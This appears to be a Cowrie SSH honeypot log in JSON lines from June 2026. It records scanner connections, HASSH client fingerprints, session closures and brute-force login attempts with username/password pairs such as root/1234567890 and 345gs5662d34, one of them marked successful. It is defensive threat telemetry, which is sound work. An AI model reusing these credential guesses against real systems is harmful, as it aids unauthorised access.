{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:58.855197Z","src_ip":"141.11.88.14","session":"8cf53e10c620","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:59.038676Z","src_ip":"41.86.34.139","session":"b078d44323f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:00.250215Z","src_ip":"41.86.34.139","session":"b078d44323f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":49308,"dst_ip":"10.17.0.5","dst_port":22,"session":"5447390aebc8","protocol":"ssh","message":"New connection: 41.86.34.139:49308 (10.17.0.5:22) [session: 5447390aebc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:00.454735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:00.459358Z","src_ip":"41.86.34.139","session":"5447390aebc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mh","password":"mh","message":"login attempt [mh/mh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:00.574444Z","src_ip":"141.11.88.14","session":"8cf53e10c620","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:00.670391Z","src_ip":"41.86.34.139","session":"5447390aebc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":41176,"dst_ip":"10.17.0.5","dst_port":22,"session":"27b55e8f7dbc","protocol":"ssh","message":"New connection: 103.149.28.157:41176 (10.17.0.5:22) [session: 27b55e8f7dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:01.192313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:01.199183Z","src_ip":"103.149.28.157","session":"27b55e8f7dbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:01.452008Z","src_ip":"103.149.28.157","session":"27b55e8f7dbc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:01.539029Z","src_ip":"41.86.34.139","session":"5447390aebc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:01.751578Z","src_ip":"41.86.34.139","session":"93dac4467556","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:01.755512Z","src_ip":"41.86.34.139","session":"5447390aebc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:01.896115Z","src_ip":"141.11.88.14","session":"8cf53e10c620","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13011994","message":"login attempt [root/13011994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:02.208590Z","src_ip":"103.149.28.157","session":"27b55e8f7dbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:03.465690Z","src_ip":"103.149.28.157","session":"27b55e8f7dbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":26256,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e30d7853867","protocol":"ssh","message":"New connection: 194.59.206.2:26256 (159.203.135.109:22) [session: 7e30d7853867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:04.102988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:04.108528Z","src_ip":"194.59.206.2","session":"7e30d7853867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:04.203471Z","src_ip":"194.59.206.2","session":"7e30d7853867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:04.322787Z","src_ip":"194.59.206.2","session":"7e30d7853867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":29850,"dst_ip":"10.17.0.5","dst_port":22,"session":"073af105a041","protocol":"ssh","message":"New connection: 141.11.88.14:29850 (10.17.0.5:22) [session: 073af105a041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:04.676086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:04.754325Z","src_ip":"141.11.88.14","session":"073af105a041","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:04.869493Z","src_ip":"141.11.88.14","session":"073af105a041","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xiao","password":"xiao","message":"login attempt [xiao/xiao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:05.226671Z","src_ip":"141.11.88.14","session":"073af105a041","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:06.410343Z","src_ip":"141.11.88.14","session":"073af105a041","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":29040,"dst_ip":"10.17.0.5","dst_port":22,"session":"707975def91f","protocol":"ssh","message":"New connection: 141.11.88.14:29040 (10.17.0.5:22) [session: 707975def91f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:11.323974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:11.733737Z","src_ip":"141.11.88.14","session":"707975def91f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:11.737013Z","src_ip":"141.11.88.14","session":"707975def91f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:12.915983Z","src_ip":"141.11.88.14","session":"707975def91f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:14.218168Z","src_ip":"141.11.88.14","session":"707975def91f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.01593017578125,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:16.435061Z","src_ip":"172.81.62.90","session":"33ecfd98ed47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59470,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fb7a3e0e5df","protocol":"ssh","message":"New connection: 141.11.88.14:59470 (10.17.0.5:22) [session: 8fb7a3e0e5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:19.333541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:19.417234Z","src_ip":"141.11.88.14","session":"8fb7a3e0e5df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:19.420297Z","src_ip":"141.11.88.14","session":"8fb7a3e0e5df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apex","password":"apex","message":"login attempt [apex/apex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:20.568593Z","src_ip":"141.11.88.14","session":"8fb7a3e0e5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:21.664998Z","src_ip":"141.11.88.14","session":"8fb7a3e0e5df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59344,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9558455a0bb","protocol":"ssh","message":"New connection: 141.11.88.14:59344 (10.17.0.5:22) [session: d9558455a0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:27.556514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:27.562824Z","src_ip":"141.11.88.14","session":"d9558455a0bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:27.653936Z","src_ip":"141.11.88.14","session":"d9558455a0bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:27.942314Z","src_ip":"141.11.88.14","session":"d9558455a0bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:29.052026Z","src_ip":"141.11.88.14","session":"d9558455a0bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":40990,"dst_ip":"159.203.135.109","dst_port":22,"session":"070ae89c236f","protocol":"ssh","message":"New connection: 211.253.37.225:40990 (159.203.135.109:22) [session: 070ae89c236f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:30.377296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:30.383028Z","src_ip":"211.253.37.225","session":"070ae89c236f","protocol":"ssh"}
